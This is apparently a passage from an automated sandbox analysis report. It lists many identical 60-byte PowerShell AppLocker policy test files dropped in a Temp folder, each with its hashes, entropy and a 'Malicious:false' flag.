                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xm2rhei.y2r.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_55oyl5ee.zc3.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5k4ptfyw.or5.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_agf4xghd.khu.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b0upjmxd.j4t.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b23vsoj0.kzm.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5psn3ah.r1z.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjicbhbw.ubl.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqtllfqm.1aw.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ckiooh4s.nz5.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqdrccl4.jgh.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cw5ix4dw.k5d.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djvkvjg4.x2s.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djwbwiya.jsp.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkroovhh.nfd.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_evpuv3s3.hjr.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f0a1blfz.eo2.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fkznpobu.buw.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gqfcix5p.j0d.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gsylugeb.qr5.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gvy32phb.igs.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i0djrwqq.par.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iet31hp0.f3b.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jf2uaf1l.muz.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jsxl4sde.tsu.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l21sxcya.utd.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lsjxnqzx.bi1.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mji0x2ym.13w.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mozz3ofm.cqz.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mseqm2md.wom.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n35ejblh.eei.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nneryj1s.3s5.ps1

                                                                                            Download File
